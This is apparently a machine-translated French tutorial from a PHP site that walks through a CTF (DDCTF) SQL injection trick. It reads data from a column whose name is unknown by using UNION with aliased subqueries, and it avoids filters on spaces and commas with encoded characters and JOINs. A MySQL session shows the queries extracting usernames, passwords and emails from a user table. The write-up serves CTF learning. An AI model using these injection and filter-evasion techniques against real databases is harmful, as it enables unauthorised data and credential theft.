Maison base de données tutoriel mysql Explication détaillée de la façon dont Mysql contourne les noms de champs inconnus

Explication détaillée de la façon dont Mysql contourne les noms de champs inconnus

Jan 17, 2018 am 10:09 AM
mysql 字段

Cet article vous présente principalement les informations pertinentes sur la façon dont Mysql peut contourner intelligemment les noms de champs inconnus. L'article donne des exemples de codes détaillés pour votre référence et votre étude. Il a une certaine valeur de référence et d'apprentissage pour apprendre MySQL. suivez Jetons un coup d'œil, j'espère que cela pourra aider tout le monde.

Avant-propos

Cet article présente la cinquième question du DDCTF, la technique de contournement des noms de champs inconnus. J'ai utilisé cette machine pour la faire fonctionner. L'idée est géniale et claire. Jetons un coup d'œil à l'introduction détaillée :

Idées d'implémentation

La question filtre les espaces et les virgules. Utilisez %0a, %0b, %0c, %0d, %a0 pour. des espaces, ou utiliser directement des parenthèses. Il peut être contourné en utilisant une jointure avec des virgules

Le nom du champ où l'indicateur est stocké est inconnu, information_schema.columns filtre également l'hexadécimal du nom de la table, c'est-à-dire le nom du champ. le nom du champ ne peut pas être obtenu ; dans ce cas, vous pouvez utiliser une requête conjointe, et le processus comme suit :

L'idée est d'obtenir le drapeau et de le laisser apparaître sous le nom du champ connu

Exemple de code :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;

+---+---+---+---+

| a | b | c | d |

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

1 row in set (0.00 sec)

  

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

1 row in set (0.00 sec)

  

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;

+---+-------+----------+-------------+

| 1 | 2  | 3  | 4   |

+---+-------+----------+-------------+

| 1 | 2  | 3  | 4   |

| 1 | admin | admin888 | 110@110.com |

| 2 | test | test123 | 119@119.com |

| 3 | cs | cs123 | 120@120.com |

+---+-------+----------+-------------+

4 rows in set (0.01 sec)

  

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;

+-------------+

| 4   |

+-------------+

| 4   |

| 110@110.com |

| 119@119.com |

| 120@120.com |

+-------------+

4 rows in set (0.03 sec)

  

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

  

+-------------+

| 4   |

+-------------+

| 120@120.com |

+-------------+

1 row in set (0.01 sec)

  

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d

union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

+-------------+----------+----------+-------------+

| id   | username | password | email  |

+-------------+----------+----------+-------------+

| 1   | admin | admin888 | 110@110.com |

| 120@120.com | 1  | 1  | 1   |

+-------------+----------+----------+-------------+

2 rows in set (0.04 sec)

Copier après la connexion
Recommandations associées :


Explication détaillée de la façon d'activer le journal des requêtes lentes dans MySQL

Dix principes d'optimisation des instructions de base dans Mysql

Sur le serveur Linux Explication détaillée de la méthode de connexion à distance MySQL

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Article chaud

Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD
Repo: Comment relancer ses coéquipiers
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
1 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Article chaud

Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD
Repo: Comment relancer ses coéquipiers
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
1 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Tags d'article chaud

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Compétences de traitement de structures de données volumineuses de PHP Compétences de traitement de structures de données volumineuses de PHP May 08, 2024 am 10:24 AM

Compétences de traitement de structures de données volumineuses de PHP

Comment optimiser les performances des requêtes MySQL en PHP ? Comment optimiser les performances des requêtes MySQL en PHP ? Jun 03, 2024 pm 08:11 PM

Comment optimiser les performances des requêtes MySQL en PHP ?

Comment utiliser la sauvegarde et la restauration MySQL en PHP ? Comment utiliser la sauvegarde et la restauration MySQL en PHP ? Jun 03, 2024 pm 12:19 PM

Comment utiliser la sauvegarde et la restauration MySQL en PHP ?

Quels sont les scénarios d'application des types d'énumération Java dans les bases de données ? Quels sont les scénarios d'application des types d'énumération Java dans les bases de données ? May 05, 2024 am 09:06 AM

Quels sont les scénarios d'application des types d'énumération Java dans les bases de données ?

Comment insérer des données dans une table MySQL en utilisant PHP ? Comment insérer des données dans une table MySQL en utilisant PHP ? Jun 02, 2024 pm 02:26 PM

Comment insérer des données dans une table MySQL en utilisant PHP ?

Comment corriger les erreurs mysql_native_password non chargé sur MySQL 8.4 Comment corriger les erreurs mysql_native_password non chargé sur MySQL 8.4 Dec 09, 2024 am 11:42 AM

Comment corriger les erreurs mysql_native_password non chargé sur MySQL 8.4

Comment utiliser les procédures stockées MySQL en PHP ? Comment utiliser les procédures stockées MySQL en PHP ? Jun 02, 2024 pm 02:13 PM

Comment utiliser les procédures stockées MySQL en PHP ?

Stratégies d'optimisation des performances pour la pagination des tableaux PHP Stratégies d'optimisation des performances pour la pagination des tableaux PHP May 02, 2024 am 09:27 AM

Stratégies d'optimisation des performances pour la pagination des tableaux PHP

See all articles